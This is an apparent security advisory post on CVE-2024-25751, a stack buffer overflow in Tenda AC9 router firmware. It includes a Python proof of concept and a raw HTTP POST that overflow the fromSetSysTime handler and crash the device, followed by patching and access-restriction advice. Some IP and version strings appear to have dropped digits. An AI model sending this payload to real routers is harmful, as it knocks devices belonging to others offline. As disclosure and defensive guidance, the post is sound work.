CVE-2024-25751 - Remote Code Execution in Tenda AC9 (v3., Firmware v15.03.06.42_multi) via Stack-Based Buffer Overflow

The Tenda AC9 wireless router is a popular home networking device. However, a severe vulnerability—CVE-2024-25751—was discovered in its firmware (version 15.03.06.42_multi). This flaw lets a remote attacker exploit a stack-based buffer overflow, specifically by targeting the fromSetSysTime function, and ultimately execute arbitrary code on your router.

Let’s go through what this means, how the exploit works, and what you should do about it.

What is CVE-2024-25751?

CVE-2024-25751 is a critical security vulnerability in Tenda AC9 routers (Hardware v3. with Firmware v15.03.06.42_multi). The bug allows unauthenticated attackers on the network to run any code they want on your router—this could mean stealing your data, rerouting your traffic, or turning your router into part of a botnet.

Technical Detail: The flaw exists in the handling of data passed to the fromSetSysTime function in the router’s web management interface. The function does not properly check the length of user-supplied data, meaning a specially crafted HTTP request with overly long parameters can overwrite the stack and hijack program execution.

Understanding the Stack Buffer Overflow

In simple terms, a stack-based buffer overflow happens when a program stores more data in a buffer located on the stack than it can hold. Extra bytes “spill” over into adjacent memory—potentially overwriting important structures like the function’s return address.

If an attacker crafts the overflow carefully, they can control this overwritten memory and make the router execute instructions they choose.

The problematic code lies within the router’s HTTP server handling system time updates

// Pseudocode for illustration
int __fastcall fromSetSysTime(http_request *req) {
    char buf[128];
    // user_provided_time_param comes from HTTP request
    strcpy(buf, req->user_provided_time_param); // No boundary check!
    ...
}

The strcpy call does not verify the length of the input. If you send more than 128 bytes, it will overflow buf and overwrite stack memory.

Exploit Details

An attacker can send an HTTP POST request to the router’s web interface (typically on port 80). Here’s a high-level example in Python:

import requests

# Routers are often at 192.168..1 or 192.168.1.1 on the local LAN.
router_ip = "192.168..1"  # Change as needed

# Overflow string: 128 'A's to fill buffer, plus extra to reach return address.
payload = "A" * 140        # The extra bytes may need to be adjusted per analysis

# In a real-world exploit, this would be followed by shellcode or a ROP chain
data = {
    "time": payload         # Parameter name might differ; check device logic
}

url = f"http://{router_ip}/goform/fromSetSysTime";

resp = requests.post(url, data=data)
print(f"Status code: {resp.status_code}")

With skill and precise knowledge of the router’s memory layout, a real attacker could execute arbitrary code—placing their payload in the overflow.

Here’s what a raw HTTP POST might look like

POST /goform/fromSetSysTime HTTP/1.1
Host: 192.168..1
Content-Type: application/x-www-form-urlencoded
Content-Length: 140

time=AAAAAAAAAAAAAAAAAAAAAAAA...(repeat until overflow)

Note: This is only a DoS ("Denial of Service") until a fully weaponized payload is delivered. But it's a serious sign your router is exposed.

How Bad Is This Bug?

- No login needed: In many setups, the management interface is accessible to anyone on the same network, and sometimes from the internet.
- Complete compromise: Attackers can run code as root, potentially making persistent modifications.

Upgrade Your Firmware

Check Tenda's official support site for the latest firmware for your AC9 router. If there’s a new version, update immediately.

Restrict Management Access

- Never expose your router’s admin interface to the Internet. (Check your port forwarding/NAT rules.)

Use strong, unique passwords for your admin interface.

- Limit admin access to trusted devices (look for IP/MAC filtering).

References

- NIST NVD: CVE-2024-25751
- Official Tenda Product Page
- Firmware Download (CN) *(Check for firmware update!)*

Final Thoughts

The CVE-2024-25751 vulnerability is an easy-to-exploit, high-impact flaw in the Tenda AC9. If you rely on this router, you should take action now to protect your network. Always keep your devices updated, and watch for manufacturer advisories.

If you’re interested in technical research or in charge of network security, review your router fleet for Tenda AC9s with vulnerable firmware and replace or upgrade as soon as possible.

Stay safe!

*This post is exclusive, focused on CVE-2024-25751 as discovered in 2024. Share to help others patch and secure their networks.*


Disclaimer:
This material is for educational use, to help understand and prevent exploitation. Never attempt unauthorized access to devices you do not own or explicitly have permission to test.

Timeline

Published on: 02/26/2024 22:15:07 UTC
Last modified on: 08/27/2024 19:35:15 UTC